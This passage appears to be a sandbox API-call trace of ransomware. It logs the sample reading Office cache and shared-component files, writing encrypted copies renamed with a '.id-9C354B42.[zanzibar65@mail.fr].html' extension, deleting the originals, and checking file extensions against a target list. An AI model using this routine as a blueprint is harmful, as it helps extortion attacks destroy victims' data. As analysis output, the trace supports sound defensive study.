lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffc9c*=0xea, lpOverlapped=0x0) returned 1 [0050.719] SetEndOfFile (hFile=0x20c) returned 1 [0050.719] CloseHandle (hObject=0x20c) returned 1 [0050.719] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0050.719] SetEndOfFile (hFile=0x1f4) returned 1 [0050.723] CloseHandle (hObject=0x1f4) returned 1 [0050.723] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0050.723] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0050.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0050.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0050.723] lstrlenW (lpString=".doc") returned 4 [0050.723] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0050.723] lstrlenW (lpString=".docx") returned 5 [0050.723] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0050.723] lstrlenW (lpString=".pdf") returned 4 [0050.723] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0050.723] lstrlenW (lpString=".xls") returned 4 [0050.723] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0050.723] lstrlenW (lpString=".xlsx") returned 5 [0050.723] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0050.723] lstrlenW (lpString=".ppt") returned 4 [0050.723] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0050.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0050.723] lstrlenW (lpString=".zip") returned 4 [0050.724] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0050.724] lstrlenW (lpString=".rar") returned 4 [0050.724] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0050.724] lstrlenW (lpString=".bz2") returned 4 [0050.724] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0050.724] lstrlenW (lpString=".7z") returned 3 [0050.724] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0050.724] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0050.724] lstrlenW (lpString=".dbf") returned 4 [0050.724] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0050.724] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0050.724] lstrlenW (lpString=".1cd") returned 4 [0050.724] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0050.724] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0050.724] lstrlenW (lpString=".jpg") returned 4 [0050.724] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0050.724] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0050.724] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0050.724] lstrlenW (lpString=".doc") returned 4 [0050.724] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0050.724] lstrlenW (lpString=".docx") returned 5 [0050.724] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0050.724] lstrlenW (lpString=".pdf") returned 4 [0050.724] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0050.724] lstrlenW (lpString=".xls") returned 4 [0050.724] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0050.724] lstrlenW (lpString=".xlsx") returned 5 [0050.724] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0050.724] lstrlenW (lpString=".ppt") returned 4 [0050.724] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0050.724] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0050.724] lstrlenW (lpString=".zip") returned 4 [0050.725] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0050.725] lstrlenW (lpString=".rar") returned 4 [0050.725] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0050.725] lstrlenW (lpString=".bz2") returned 4 [0050.725] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0050.725] lstrlenW (lpString=".7z") returned 3 [0050.725] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0050.725] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0050.725] lstrlenW (lpString=".dbf") returned 4 [0050.725] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0050.725] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0050.725] lstrlenW (lpString=".1cd") returned 4 [0050.725] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0050.725] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0050.725] lstrlenW (lpString=".jpg") returned 4 [0050.725] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0050.725] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1 [0050.725] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0050.725] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0050.725] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=715834) returned 1 [0050.726] CloseHandle (hObject=0x1f4) returned 1 [0050.726] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0050.726] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0050.726] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0050.726] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0050.726] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0050.726] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0050.726] GetLastError () returned 0x0 [0050.726] ReadFile (in: hFile=0x1f4, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x2fffed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0050.739] WriteFile (in: hFile=0x20c, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0051.058] ReadFile (in: hFile=0x1f4, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0051.058] WriteFile (in: hFile=0x20c, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffc9c*=0x104, lpOverlapped=0x0) returned 1 [0051.058] SetEndOfFile (hFile=0x20c) returned 1 [0051.058] CloseHandle (hObject=0x20c) returned 1 [0051.058] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0051.058] SetEndOfFile (hFile=0x1f4) returned 1 [0051.064] CloseHandle (hObject=0x1f4) returned 1 [0051.064] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0051.064] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0051.065] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0051.065] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0051.065] lstrlenW (lpString=".doc") returned 4 [0051.065] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0051.065] lstrlenW (lpString=".docx") returned 5 [0051.065] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0051.065] lstrlenW (lpString=".pdf") returned 4 [0051.065] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0051.065] lstrlenW (lpString=".xls") returned 4 [0051.065] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0051.065] lstrlenW (lpString=".xlsx") returned 5 [0051.065] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0051.065] lstrlenW (lpString=".ppt") returned 4 [0051.065] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0051.065] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0051.065] lstrlenW (lpString=".zip") returned 4 [0051.065] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0051.065] lstrlenW (lpString=".rar") returned 4 [0051.065] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0051.065] lstrlenW (lpString=".bz2") returned 4 [0051.065] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0051.065] lstrlenW (lpString=".7z") returned 3 [0051.065] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0051.065] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0051.065] lstrlenW (lpString=".dbf") returned 4 [0051.065] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0051.065] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0051.066] lstrlenW (lpString=".1cd") returned 4 [0051.066] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0051.066] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0051.066] lstrlenW (lpString=".jpg") returned 4 [0051.066] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0051.066] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0051.066] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0051.066] lstrlenW (lpString=".doc") returned 4 [0051.066] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0051.066] lstrlenW (lpString=".docx") returned 5 [0051.066] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0051.066] lstrlenW (lpString=".pdf") returned 4 [0051.066] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0051.066] lstrlenW (lpString=".xls") returned 4 [0051.066] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0051.066] lstrlenW (lpString=".xlsx") returned 5 [0051.066] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0051.066] lstrlenW (lpString=".ppt") returned 4 [0051.066] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0051.066] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0051.066] lstrlenW (lpString=".zip") returned 4 [0051.066] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0051.066] lstrlenW (lpString=".rar") returned 4 [0051.066] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0051.066] lstrlenW (lpString=".bz2") returned 4 [0051.066] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0051.066] lstrlenW (lpString=".7z") returned 3 [0051.066] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0051.066] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0051.066] lstrlenW (lpString=".dbf") returned 4 [0051.066] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0051.066] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0051.067] lstrlenW (lpString=".1cd") returned 4 [0051.067] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0051.067] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0051.067] lstrlenW (lpString=".jpg") returned 4 [0051.067] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0051.067] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0051.067] lstrlenW (lpString="VisiorWW.msi") returned 12 [0051.067] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0051.067] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=12060672) returned 1 [0051.067] CloseHandle (hObject=0x1f4) returned 1 [0051.067] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi")) returned 0x2020 [0051.067] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0051.067] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0051.068] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0051.068] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc6c | out: lpNewFilePointer=0x0) returned 1 [0051.068] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc2c | out: lpNewFilePointer=0x0) returned 1 [0051.068] ReadFile (in: hFile=0x1f4, lpBuffer=0x3b50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fffc38, lpOverlapped=0x0 | out: lpBuffer=0x3b50058*, lpNumberOfBytesRead=0x2fffc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.073] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x3d5800, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc2c | out: lpNewFilePointer=0x0) returned 1 [0051.073] ReadFile (in: hFile=0x1f4, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fffc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x2fffc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.081] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2fffc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0051.081] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xb40800, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc2c | out: lpNewFilePointer=0x0) returned 1 [0051.081] ReadFile (in: hFile=0x1f4, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fffc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x2fffc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.184] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0052.184] WriteFile (in: hFile=0x1f4, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2fffcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0052.202] SetEndOfFile (hFile=0x1f4) returned 1 [0052.202] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3eb3070 [0052.206] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc7c | out: lpNewFilePointer=0x0) returned 1 [0052.206] WriteFile (in: hFile=0x1f4, lpBuffer=0x3eb3070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fffc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb3070*, lpNumberOfBytesWritten=0x2fffc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.434] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x3d5800, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc7c | out: lpNewFilePointer=0x0) returned 1 [0052.435] WriteFile (in: hFile=0x1f4, lpBuffer=0x3eb3070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fffc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb3070*, lpNumberOfBytesWritten=0x2fffc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.441] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xb40800, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc7c | out: lpNewFilePointer=0x0) returned 1 [0052.441] WriteFile (in: hFile=0x1f4, lpBuffer=0x3eb3070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fffc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb3070*, lpNumberOfBytesWritten=0x2fffc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.443] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3eb3070 | out: hHeap=0x220000) returned 1 [0052.451] CloseHandle (hObject=0x1f4) returned 1 [0052.451] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0052.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0052.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0052.451] lstrlenW (lpString=".doc") returned 4 [0052.451] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0052.451] lstrlenW (lpString=".docx") returned 5 [0052.451] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0052.451] lstrlenW (lpString=".pdf") returned 4 [0052.451] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0052.451] lstrlenW (lpString=".xls") returned 4 [0052.451] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0052.451] lstrlenW (lpString=".xlsx") returned 5 [0052.451] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0052.451] lstrlenW (lpString=".ppt") returned 4 [0052.451] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0052.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0052.452] lstrlenW (lpString=".zip") returned 4 [0052.452] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0052.452] lstrlenW (lpString=".rar") returned 4 [0052.452] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0052.452] lstrlenW (lpString=".bz2") returned 4 [0052.452] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0052.452] lstrlenW (lpString=".7z") returned 3 [0052.452] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0052.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0052.452] lstrlenW (lpString=".dbf") returned 4 [0052.452] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0052.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0052.452] lstrlenW (lpString=".1cd") returned 4 [0052.452] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0052.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0052.452] lstrlenW (lpString=".jpg") returned 4 [0052.452] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0052.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0052.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0052.452] lstrlenW (lpString=".doc") returned 4 [0052.452] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0052.452] lstrlenW (lpString=".docx") returned 5 [0052.452] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0052.452] lstrlenW (lpString=".pdf") returned 4 [0052.452] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0052.452] lstrlenW (lpString=".xls") returned 4 [0052.452] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0052.452] lstrlenW (lpString=".xlsx") returned 5 [0052.452] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0052.452] lstrlenW (lpString=".ppt") returned 4 [0052.452] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0052.453] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0052.453] lstrlenW (lpString=".zip") returned 4 [0052.453] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0052.453] lstrlenW (lpString=".rar") returned 4 [0052.453] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0052.453] lstrlenW (lpString=".bz2") returned 4 [0052.453] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0052.453] lstrlenW (lpString=".7z") returned 3 [0052.453] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0052.453] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0052.453] lstrlenW (lpString=".dbf") returned 4 [0052.453] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0052.453] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0052.453] lstrlenW (lpString=".1cd") returned 4 [0052.453] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0052.453] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0052.453] lstrlenW (lpString=".jpg") returned 4 [0052.453] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0052.453] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0052.453] lstrlenW (lpString="EEINTL.DLL") returned 10 [0052.453] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0052.454] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=64096) returned 1 [0052.454] CloseHandle (hObject=0x1f4) returned 1 [0052.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" 